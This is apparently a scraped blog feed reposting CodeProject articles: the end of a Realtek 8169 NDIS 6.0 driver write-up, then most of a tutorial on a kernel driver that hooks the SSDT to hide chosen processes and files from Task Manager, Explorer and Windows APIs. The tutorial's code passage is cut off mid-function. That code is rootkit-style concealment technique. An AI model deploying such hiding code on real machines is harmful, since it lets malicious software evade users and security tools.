<p>Step 4</p>
<p>NDIS 6.0 miniport is supposed to return "TcpPayLoad" in the NBL when it completes(sending) it. But since rtl8169 h/w does NOT return this value ( AFAIK ) , we have to figure it out from the NBL ( NB ) data, before sending it to the H/W. The way we do this is <br>NBL-&gt;TcpPayLoad = TotalBytesInNBL - NBL-&gt;TcpHeaderOffset + TcpHeaderLength;</p>
<p>Here is the code</p>
<div class=SmallText id=premain3 style="WIDTH: 100%"><img id=preimg3 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="3"><span id=precollapse3 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="3"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver.aspx#" preid="3"> Copy Code</a></div>
<pre id=pre3 style="MARGIN-TOP: 0px"><span class=code-preprocessor>#if</span> OFFLOAD
PeekTcpHeader ( pMpTcb-<span class=code-keyword>&gt;</span>NetBufferList, pMpTcb-<span class=code-keyword>&gt;</span>NetBuffer ) ;
<span class=code-preprocessor>#endif</span></pre>
<p>Step 5</p>
<p>Program the h/w by setting MSS value and LGSEN bit in the realtek 8169 H/W Transmit Buffer Descriptor</p>
<div class=SmallText id=premain4 style="WIDTH: 100%"><img id=preimg4 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="4"><span id=precollapse4 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="4"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver.aspx#" preid="4"> Copy Code</a></div>
<pre id=pre4 style="MARGIN-TOP: 0px"><span class=code-preprocessor>#if</span> OFFLOAD
<span class=code-keyword>if</span> ( bLSOenabled ) {
pHwTbd-<span class=code-keyword>&gt;</span>status |= (LGSENbit | pNBLcontext-<span class=code-keyword>&gt;</span>MSS) ;
}
<span class=code-preprocessor>#endif</span></pre>
<p><br>Step 6</p>
<p>In send-complete interrupt handler set "TcpPayLoad" in the completed NBL for upper layers' consumption</p>
<div class=SmallText id=premain5 style="WIDTH: 100%"><img id=preimg5 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="5"><span id=precollapse5 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="5"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver.aspx#" preid="5"> Copy Code</a></div>
<pre id=pre5 style="MARGIN-TOP: 0px"><span class=code-preprocessor>#if</span> OFFLOAD
UPDATE_LSO_TCP_PAYLOAD ( NetBufferList ) ;
<span class=code-preprocessor>#endif</span></pre>
<h4><br>JUMBO frame support added</h4>
<p>Nothing great. just this. No changes to the H/W for send/receive</p>
<div class=SmallText id=premain6 style="WIDTH: 100%"><img id=preimg6 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="6"><span id=precollapse6 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="6"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver.aspx#" preid="6"> Copy Code</a></div>
<pre id=pre6 style="MARGIN-TOP: 0px"><span class=code-preprocessor>#if</span> JUMBO_FRAME_SUPPORT
<span class=code-preprocessor>#define</span> NIC_MAX_RECV_FRAME_SIZE <span class=code-digit>6464</span>
<span class=code-preprocessor>#else</span>
<span class=code-preprocessor>#define</span> NIC_MAX_RECV_FRAME_SIZE <span class=code-digit>1664</span>
<span class=code-preprocessor>#endif</span>
<span class=code-preprocessor>#if</span> OFFLOAD || JUMBO_FRAME_SUPPORT
<span class=code-preprocessor>#define</span> NIC_MAX_XMIT_FRAME_SIZE <span class=code-digit>7040</span> <span class=code-comment>//</span><span class=code-comment> multiple 0f 64</span>
<span class=code-preprocessor>#else</span>
<span class=code-preprocessor>#define</span> NIC_MAX_XMIT_FRAME_SIZE <span class=code-digit>1664</span>
<span class=code-preprocessor>#endif</span></pre>
<h4><br>Power Managment Capabilities added</h4>
<p>Nothing done to the H/W at D0 &amp; D3 transition time. We simply indicate to the NDIS we are capable.</p>
<div class=SmallText id=premain7 style="WIDTH: 100%"><img id=preimg7 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="7"><span id=precollapse7 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="7"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/NDIS_6.0_miniport__driver.aspx#" preid="7"> Copy Code</a></div>
<pre id=pre7 style="MARGIN-TOP: 0px">pPower_Management_Capabilities-<span class=code-keyword>&gt;</span>Flags = NDIS_DEVICE_WAKE_UP_ENABLE ;
pPower_Management_Capabilities-<span class=code-keyword>&gt;</span>WakeUpCapabilities.MinMagicPacketWakeUp = NdisDeviceStateD3;
pPower_Management_Capabilities-<span class=code-keyword>&gt;</span>WakeUpCapabilities.MinPatternWakeUp = NdisDeviceStateUnspecified;
pPower_Management_Capabilities-<span class=code-keyword>&gt;</span>WakeUpCapabilities.MinLinkChangeWakeUp = NdisDeviceStateUnspecified ;
*pulInfoLen = <span class=code-keyword>sizeof</span> (*pPower_Management_Capabilities);
*pStatus = NDIS_STATUS_SUCCESS;
}</pre>
<p>
<p>TEST : MAGIC packet WOL worked fine with this code</p>
<h3>About Copyright</h3>
<p>* Though this program is copyLEFT and free to be used anywhere, I retained the copyright notices of INTEL and MICROSOFT found in the original source code. Anyway, since e100 is part of the DDK sample for public use, the copyright may not be stringent. Please refer to the original e100bex DDK sample code for copyright issues. I am not responsible</p>
<p>* Thanks to the linux developer community, i borrowed the initial chip MAC/PHY configuration code from the realtek linux driver and to fairly credit them, I named those files linux_init.c and linux_h.h. I am not sure how GNU licensing will affect this project FREE license, as i meant it to be.</p>
<h3>Finally</h3>
<p>Any form of comments and suggestions are welcome to this forum or to <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#97;&#108;&#101;&#120;&#95;&#64;&#101;&#115;&#100;&#115;&#105;&#110;&#99;&#46;&#99;&#111;&#109;">alex_@esdsinc.com</a><br>remove underscore. <br>Cheers &amp; good luck</p>
<p>
<h2>History</h2>
<p>first release dated 14 march 2008. version 6.0.6000.31308</p>
<p>second release dated 1 May 2008. Version 6.0.6000.050108. LSO and jumbo support added</p>
<p>Third release dated 2 May 2008. Version 6.0.6000.050208. Power managment capabilities added</p>
<p><!-- Main Page Contents End --></p>
<form id=aspnetForm style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px" name=aspnetForm action=displayarticle.aspx method=post>
    <div><input id=__VIEWSTATE type=hidden value=/wEPDwUKMTAyMTMzODg1Ng9kFgJmD2QWBAILD2QWBgIDDw8WAh4HVmlzaWJsZWdkZAIJDw8WAh8AZ2RkAgwPDxYCHwBnZGQCDA9kFggCBw9kFhACAQ9kFgJmDxYCHgtfIUl0ZW1Db3VudGZkAgMPZBYKZg8PFgIeC05hdmlnYXRlVXJsBTcvS0Ivc3lzdGVtL05ESVNfNi4wX21pbmlwb3J0X19kcml2ZXIuYXNweD9kaXNwbGF5PVByaW50ZGQCAQ8PFgIfAgUmL3NjcmlwdC9BcnRpY2xlcy9SZXBvcnQuYXNweD9haWQ9MjQzODRkZAICDw8WAh8AaGRkAgMPDxYCHwBoZGQCBQ8PFgIfAgUxL3NjcmlwdC9jb21tb24vVGVsbEZyaWVuZC5hc3B4P29idGlkPTImb2JpZD0yNDM4NGRkAgUPZBYEAgEPZBYCAgEPDxYCHgRUZXh0BRk4IHZvdGVzIGZvciB0aGlzIEFydGljbGUuZGQCBw9kFgJmD2QWBAIBDw8WBB8DBRBQb3B1bGFyaXR5OiAzLjMyHwIFKS9zY3JpcHQvQXJ0aWNsZXMvVG9wQXJ0aWNsZXMuYXNweD90YV9zbz0xZGQCBQ8WAh8DBRxSYXRpbmc6IDxiPjMuNjg8L2I+IG91dCBvZiA1ZAIRD2QWAgIBDw8WAh8CBSYvc2NyaXB0L0FydGljbGVzL1JlcG9ydC5hc3B4P2FpZD0yNDM4NGRkAhkPZBYKAgEPZBYEAgEPFgIeCWlubmVyaHRtbAW2ATxwPlRoaXMgYXJ0aWNsZSwgYWxvbmcgd2l0aCBhbnkgYXNzb2NpYXRlZCBzb3VyY2UgY29kZSBhbmQgZmlsZXMsIGlzIGxpY2Vuc2VkIHVuZGVyIDxhIGhyZWY9Imh0dHA6Ly93d3cuY29kZXByb2plY3QuY29tL2luZm8vY3BvbDEwLmFzcHgiPlRoZSBDb2RlIFByb2plY3QgT3BlbiBMaWNlbnNlIChDUE9MKTwvYT48L3A+ZAICD2QWAgIBDxBkZBYAZAIFDxYCHwECAWQCBw8WAh8DBdcHPGgyPk90aGVyIHBvcHVsYXIgSGFyZHdhcmUgJiBTeXN0ZW0gYXJ0aWNsZXM6PC9oMj48dWw+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0veHludHNlcnZpY2UuYXNweCI+U3RhcnQgWW91ciBXaW5kb3dzIFByb2dyYW1zIEZyb20gQW4gTlQgU2VydmljZTwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPk1ha2UgeW91ciBNRkMsIFZCIGFuZCBvdGhlciBXaW5kb3dzIHByb2dyYW1zIGJlaGF2ZSBsaWtlIE5UIHNlcnZpY2VzLjwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vc2VyaWFsLmFzcHgiPlNlcmlhbCBsaWJyYXJ5IGZvciBDKys8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5BIGhpZ2gtcGVyZm9ybWFuY2UsIGNvbXBsZXRlIGFuZCBjb21wYWN0IHNlcmlhbCBsaWJyYXJ5IGZvciBDKys8L2Rpdj48L2xpPjxsaT48YSBocmVmPSIvS0Ivc3lzdGVtL2RyaXZlcmRldi5hc3B4Ij5Ecml2ZXIgRGV2ZWxvcG1lbnQgUGFydCAxOiBJbnRyb2R1Y3Rpb24gdG8gRHJpdmVyczwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPlRoaXMgYXJ0aWNsZSB3aWxsIGdvIGludG8gdGhlIGJhc2ljcyBvZiBjcmVhdGluZyBhIHNpbXBsZSBkcml2ZXIuPC9kaXY+PC9saT48bGk+PGEgaHJlZj0iL0tCL3N5c3RlbS9ob29rc3lzLmFzcHgiPkFQSSBob29raW5nIHJldmVhbGVkPC9hPjxkaXYgY2xhc3M9IlNtYWxsVGV4dCI+VGhlIGFydGljbGUgZGVtb25zdHJhdGVzIGhvdyB0byBidWlsZCBhIHVzZXIgbW9kZSBXaW4zMiBBUEkgc3B5aW5nIHN5c3RlbTwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vTm9EZWxldGVEZWxheS5hc3B4Ij5FbGltaW5hdGluZyBFeHBsb3JlcidzIGRlbGF5IHdoZW4gZGVsZXRpbmcgYW4gaW4tdXNlIGZpbGU8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5Ib3cgdG8gdHJhY2sgZG93biBhbmQgcGF0Y2ggYW4gYW5ub3lhbmNlIGluIFdpbmRvd3MgRXhwbG9yZXIncyBjb2RlLjwvZGl2PjwvbGk+PC91bD5kAgkPDxYCHwBnZGQCDQ8WAh4FY2xhc3MFFUFydGljbGVVbmVkaXRlZEhlYWRlchYCZg9kFgICAQ9kFgJmD2QWAgIJDxYCHwBoFgICAQ8QZGQWAGQCGw8PFgIfAGdkZAIdDw8WAh8AZ2RkAiUPFgIfAGhkAgsPDxYCHwIFJy9zY3JpcHQvQXJ0aWNsZXMvQXJ0aWNsZS5hc3B4P2FpZD0yNDM4NGRkAhEPFgIfAwUKMSBNYXkgMjAwOGQCFQ8WAh8DBSJDb3B5cmlnaHQgMjAwOCBieSBhbGV4YW5kZXIgc3VyZXNoZGT+AQHeK98jVvKlSjgV7VnWBk3BXg== name=__VIEWSTATE> </div>
    <h2>License</h2>
    <div id=ctl00_LicenseTerms>
    <p>This article, along with any associated source code and files, is licensed under <a href="http://www.codeproject.com/info/cpol10.aspx">The Code Project Open License (CPOL)</a></p>
    </div>
</form>
<img src ="http://www.cppblog.com/iniwf/aggbug/79649.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-12 00:15 <a href="http://www.cppblog.com/iniwf/archive/2009/04/12/79649.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>API hooking revealed</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79648.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 15:54:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79648.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79648.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79648.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79648.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79648.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转自http://www.codeproject.com/KB/system/hooksys.aspx    Download source files - 69 Kb    Download demo project - 139 Kb Introduction Intercepting Win32 API calls has always been a chall...&nbsp;&nbsp;<a href='http://www.cppblog.com/iniwf/archive/2009/04/11/79648.html'>阅读全文</a><img src ="http://www.cppblog.com/iniwf/aggbug/79648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 23:54 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Driver to Hide Processes and Files</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79646.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 15:52:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79646.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79646.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79646.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79646.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79646.html</trackback:ping><description><![CDATA[转自<a href="http://www.codeproject.com/KB/system/hide-driver.aspx">http://www.codeproject.com/KB/system/hide-driver.aspx</a><br><br>
<ul class=download>
    <li><a href="http://www.codeproject.com/KB/system/hide-driver/HideDriver_source.zip">Download source code - 182 KB</a> </li>
</ul>
<h2>Introduction</h2>
<p>We are glad to introduce our project "The Hide Driver project".</p>
<p>The main idea of this work is to create a driver for hiding selected processes and files.</p>
<p>The processes selected by the user should be invisible for such applications as the Task Manager, Process Explorer, and others. In addition, they should not be available for such Windows API functions as <code>EnumProcesses()</code>, <code>OpenProcess()</code>, <code>EnumProcessModules()</code>, and other Process APIs. The files selected by the user should be invisible for such file managers as Windows Explorer, Far, Total Commander, etc. In addition, they should not be available for such Windows API functions as <code>FindFile()</code>, <code>OpenFile()</code>, and other File API functions.</p>
<h2>Basic knowledge</h2>
<p>We recommend the article "<strong>Driver Development</strong>" by Toby Opferman:</p>
<ul>
    <li><a href="http://www.codeproject.com/KB/system/driverdev.aspx">Driver Development Part 1: Introduction to Drivers</a> </li>
</ul>
<p>It would also be useful to look through the other articles in the series (parts 2, 3, 4, 5, 6).</p>
<ul>
    <li><a href="http://www.windowsitlibrary.com/Content/356/06/2.html">Hooking Windows NT System Services</a> </li>
</ul>
<p>Also, a lot of knowledge that helped us develop this project was obtained here:</p>
<ul>
    <li><a href="http://www.osronline.com/" target=_blank>http://www.osronline.com/</a>
    <li><a href="http://www.rootkit.com/" target=_blank>http://www.rootkit.com/</a>
    <li><a href="http://msdn.microsoft.com/" target=_blank>http://msdn.microsoft.com/</a> </li>
</ul>
<p>For Russian speaking readers, we recommend these sources:</p>
<ul>
    <li><a href="http://wasm.ru/" target=_blank>http://wasm.ru/</a>
    <li><a href="http://wasm.ru/article.php?article=apihook_3" target=_blank>http://wasm.ru/article.php?article=apihook_3</a>
    <li><a href="http://wasm.ru/article.php?article=hidingnt" target=_blank>http://wasm.ru/article.php?article=hidingnt</a> </li>
</ul>
<h2>Project structure</h2>
<div class=SmallText id=premain0 style="WIDTH: 100%"><img id=preimg0 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="0"><span id=precollapse0 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="0"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/hide-driver.aspx#" preid="0"> Copy Code</a></div>
<pre lang=text id=pre0 style="MARGIN-TOP: 0px">.\bin - folder with binary files
.\obj - folder with intermediate files
.\src - folder with sources
|
|-&gt; drvCppLib  - Kernel library to develop driver in C++
|-&gt; Gui        - Win32 Application used to communicate with driver
|-&gt; HideDriver - Kernel driver installed by Gui App. Performs main
work.
|-&gt; TestDriver - Kernel library to run test code</pre>
<h2>How to build this solution</h2>
<ol>
    <li>Install the Windows Driver Developer Kit 2003: <a href="http://www.microsoft.com/whdc/devtools/ddk/default.mspx" target=_blank>http://www.microsoft.com/whdc/devtools/ddk/default.mspx</a>.
    <li>Set the global environment variable "BASEDIR" to the path of the installed DDK.
    <p>Computer Properties -&gt; Advanced -&gt; Environment Variables -&gt;System Variables -&gt; New.</p>
    <p>Like this: BASEDIR -&gt; <em>c:\winddk\3790</em>. (You have to restart your computer after this.)</p>
    </li>
</ol>
<h4>VS2003</h4>
<p>If you choose Visual Studio 2003, then you can simply open <em>HideDriver_vs7.sln</em> and Build All.</p>
<h4>VS2005 &amp; VS2008</h4>
<p>If you choose Visual Studio 2005 or 2008, you need to copy the contents of the folder <em>C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\crt\src\intel\st_lib\</em> (the path depends on the Visual Studio install path) to the project folder <em>HideDriver_source\src\drvCppLib\lib_copy\</em>. After this, you can use <em>HideDriver_vs8.sln</em> in Visual Studio 2005 and <em>HideDriver_vs9.sln</em> Visual Studio 2008.</p>
<h2>Project implementation</h2>
<p>The task described in the <em>Introduction</em> was resolved by using one of the general ways - Hooking SSDT. A lot of information about this technology can be found in the articles mentioned in the <em>Basic knowledge</em> section.</p>
<h2>Process hiding</h2>
<p>To hide processes, we need to cut them from the list returned by <code>NtQuerySystemInformation()</code>.</p>
<h4>[Code from HookProcess.cpp] From Line # 451 to 512</h4>
<div class=SmallText id=premain1 style="WIDTH: 100%"><img id=preimg1 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="1"><span id=precollapse1 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="1"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/hide-driver.aspx#" preid="1"> Copy Code</a></div>
<pre id=pre1 style="MARGIN-TOP: 0px">NTSTATUS NewNtQuerySystemInfo(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
)
<span class=code-comment>/*</span><span class=code-comment>++
Routine Description:
Function call every time when NtQuerySystemInformation function call in the system.
For hiding process we need to change SystemInformation structure.
Arguments:
SystemInformationClass - One of the values enumerated in SYSTEM_INFORMATION_CLASS,
which indicate the kind of system information to be retrieved.
SystemInformation - A pointer to a buffer that receives the requested information.
SystemInformationLength - The size of the buffer pointed
to by the SystemInformation parameter, in bytes.
Return Value:
NT status code.
--*/</span>
{
NTSTATUS status=TrueNtQuerySystemInfo(SystemInformationClass,
SystemInformation, SystemInformationLength, ReturnLength);
<span class=code-keyword>if</span>(!NT_SUCCESS(status))<span class=code-keyword>return</span> status;
<span class=code-keyword>if</span>( SystemInformationClass == SystemProcessesAndThreadsInformation )
{
<span class=code-comment>//</span><span class=code-comment> convert buffer to  SYSTEM_PROCESSES_INFORMATION</span>
SYSTEM_PROCESSES_INFORMATION*
pSystemInfo=static_cast<span class=code-keyword>&lt;</span>system_processes_information*<span class=code-keyword>&gt;</span>(SystemInformation);
ULONG PreviousDelta=0;
<span class=code-comment>//</span><span class=code-comment> The loop for enumerating process</span>
<span class=code-keyword>while</span>( pSystemInfo-<span class=code-keyword>&gt;</span>NextEntryDelta != <span class=code-digit>0</span> )
{
<span class=code-comment>//</span><span class=code-comment> go to the next process ( idle is always the first process )</span>
PreviousDelta = pSystemInfo-<span class=code-keyword>&gt;</span>NextEntryDelta;
pSystemInfo = (SYSTEM_PROCESSES_INFORMATION*)
(((PUCHAR)pSystemInfo)+PreviousDelta);
<span class=code-comment>//</span><span class=code-comment> check if the current process need to hide</span>
<span class=code-keyword>if</span>( CheckProcess(&amp;(pSystemInfo-<span class=code-keyword>&gt;</span>ProcessName)) )
{
<span class=code-comment>//</span><span class=code-comment> go to the previous process</span>
ULONG curentDelta=pSystemInfo-<span class=code-keyword>&gt;</span>NextEntryDelta;
pSystemInfo =
(SYSTEM_PROCESSES_INFORMATION*)(((PUCHAR)pSystemInfo)-PreviousDelta);
<span class=code-comment>//</span><span class=code-comment> if the process is last:</span>
<span class=code-keyword>if</span>(curentDelta == <span class=code-digit>0</span> )
PreviousDelta=0;
pSystemInfo-<span class=code-keyword>&gt;</span>NextEntryDelta = PreviousDelta + curentDelta;
} <span class=code-comment>//</span><span class=code-comment> if(CheckProcessName(pSystemInfo-&gt;ProcessName))</span>
}<span class=code-comment>//</span><span class=code-comment>while(pSystemInfo-&gt;NextEntryDelta != 0)</span>
}<span class=code-comment>//</span><span class=code-comment>    if(SystemInformationClass == SystemProcessesAndThreadsInformation)</span>
<span class=code-keyword>return</span> status;
}</pre>
<h2>File hiding</h2>
<p>To hide a file, we need to cut it from the list returned by <code>NtQueryDirectoryFile()</code>.</p>
<p>First, we choose what type of information is requested.</p>
<h4>[Code from HookFile.cpp] From Line # 672 to 719</h4>
<div class=SmallText id=premain2 style="WIDTH: 100%"><img id=preimg2 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="2"><span id=precollapse2 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="2"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/hide-driver.aspx#" preid="2"> Copy Code</a></div>
<pre id=pre2 style="MARGIN-TOP: 0px">NTSTATUS NewNtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN <span class=code-SDKkeyword>BOOLEAN</span> ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN <span class=code-SDKkeyword>BOOLEAN</span> RestartScan
)
<span class=code-comment>/*</span><span class=code-comment>++
Routine Description:
Function call every time when NtQueryDirectoryFile function call in the system.
For hiding files we need to change one of supported FileInformation structure.
Arguments:
Return Value:
--*/</span>
{
NTSTATUS status=TrueNtQueryDirectoryFile(FileHandle,Event,
ApcRoutine,ApcContext,IoStatusBlock,
FileInformation,FileInformationLength,FileInformationClass,
ReturnSingleEntry, FileName , RestartScan);
<span class=code-keyword>if</span>(!NT_SUCCESS(status))<span class=code-keyword>return</span> status;
<span class=code-keyword>switch</span>(FileInformationClass)
{
<span class=code-keyword>case</span> FileDirectoryInformation:
<span class=code-keyword>return</span> HideFile<span class=code-keyword>&lt;</span>pfile_directory_information<span class=code-keyword>&gt;</span>(FileHandle,FileInformation);
<span class=code-keyword>case</span> FileFullDirectoryInformation:
<span class=code-keyword>return</span> HideFile<span class=code-keyword>&lt;</span>pfile_full_directory_information<span class=code-keyword>&gt;</span>(FileHandle,FileInformation);
<span class=code-keyword>case</span> FileBothDirectoryInformation:
<span class=code-keyword>return</span> HideFile<span class=code-keyword>&lt;</span>pfile_both_directory_information<span class=code-keyword>&gt;</span>(FileHandle,FileInformation);
<span class=code-keyword>case</span> FileNamesInformation:
<span class=code-keyword>return</span> HideFile<span class=code-keyword>&lt;</span>pfile_names_information<span class=code-keyword>&gt;</span>(FileHandle,FileInformation);
<span class=code-keyword>case</span> FileIdBothDirectoryInformation: <span class=code-comment>//</span><span class=code-comment> Used by Vista explorer</span>
<span class=code-keyword>return</span> HideFile<span class=code-keyword>&lt;</span>pfile_id_both_dir_information<span class=code-keyword>&gt;</span>(FileHandle,FileInformation);
<span class=code-keyword>case</span> FileIdFullDirectoryInformation: <span class=code-comment>//</span><span class=code-comment> Used by Vista explorer</span>
<span class=code-keyword>return</span> HideFile<span class=code-keyword>&lt;</span>pfile_id_full_dir_information<span class=code-keyword>&gt;</span>(FileHandle,FileInformation);
<span class=code-keyword>default</span>:<span class=code-keyword>return</span> status;
}
}</pre>
<p>When we know what type of information is requested, we can cut the process from the list.</p>
<h4>[Code from HookFile.cpp] From Line # 572 - 719</h4>
<div class=SmallText id=premain3 style="WIDTH: 100%"><img id=preimg3 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="3"><span id=precollapse3 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="3"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/hide-driver.aspx#" preid="3"> Copy Code</a></div>
<pre id=pre3 style="MARGIN-TOP: 0px"><span class=code-keyword>template</span><span class=code-keyword>&lt;</span><span class=code-keyword>class</span><span class=code-keyword>&gt;</span>
NTSTATUS HideFile(HANDLE FileHandle,PVOID FileInformation)
<span class=code-comment>/*</span><span class=code-comment>++
Routine Description:
Hides selected files
Arguments:
Return Value:
--*/</span>
{
ULONG PreviousDelta=0;
UNICODE_STRING UnicodeFileName;
RtlInitUnicodeString(&amp;UnicodeFileName,NULL);
T pFileInfo=reinterpret_cast<span class=code-keyword>&lt;</span>t<span class=code-keyword>&gt;</span>(FileInformation);
<span class=code-comment>//</span><span class=code-comment> The loop for finding and remounting files, </span>
<span class=code-comment>//</span><span class=code-comment> which should be hided, from the array</span>
<span class=code-keyword>bool</span> pass_me_once=true;
<span class=code-keyword>while</span>( (pFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset != <span class=code-digit>0</span>) || pass_me_once)
{
<span class=code-keyword>if</span>(pass_me_once)
pass_me_once=false;
<span class=code-keyword>else</span>
{
<span class=code-comment>//</span><span class=code-comment> move to the next file in the array</span>
PreviousDelta = pFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset;
pFileInfo = (T)(((PUCHAR)pFileInfo)+pFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset);
}
UnicodeFileName.Buffer = pFileInfo-<span class=code-keyword>&gt;</span>FileName;
UnicodeFileName.Length = pFileInfo-<span class=code-keyword>&gt;</span>FileNameLength;
UnicodeFileName.MaximumLength = pFileInfo-<span class=code-keyword>&gt;</span>FileNameLength;
<span class=code-keyword>if</span>(!CheckFile(&amp;UnicodeFileName,FileHandle))
<span class=code-keyword>continue</span>;
<span class=code-comment>//</span><span class=code-comment> if the file is first</span>
<span class=code-keyword>if</span>(PreviousDelta == <span class=code-digit>0</span>)
{
<span class=code-comment>//</span><span class=code-comment> if there are no any file</span>
<span class=code-keyword>if</span>( pFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset == <span class=code-digit>0</span> )
<span class=code-keyword>return</span> STATUS_NO_MORE_FILES;
<span class=code-comment>//</span><span class=code-comment>if other files exist, erasing current file </span>
<span class=code-comment>//</span><span class=code-comment>by moving the remain array`s elements to the beginning</span>
ULONG shift = pFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset;
<span class=code-comment>//</span><span class=code-comment>Calculate the buffer size</span>
ULONG totalSize=0;
T ptempFileInfo=(T)pFileInfo;
<span class=code-keyword>while</span>(ptempFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset != <span class=code-digit>0</span>)
{
<span class=code-comment>//</span><span class=code-comment> calculate size</span>
totalSize+=ptempFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset;
<span class=code-comment>//</span><span class=code-comment> shift to the next file in the array</span>
ptempFileInfo = (T)(((PUCHAR)ptempFileInfo)+
ptempFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset);
}
<span class=code-comment>//</span><span class=code-comment> subtract the size of the first element in the array</span>
size_t MoveSize = (size_t)(totalSize-shift);
<span class=code-comment>//</span><span class=code-comment> add the size of the last element</span>
MoveSize += <span class=code-keyword>sizeof</span>(*ptempFileInfo);
<span class=code-comment>//</span><span class=code-comment> add the Filename`s length of the last element</span>
MoveSize += ptempFileInfo-<span class=code-keyword>&gt;</span>FileNameLength;
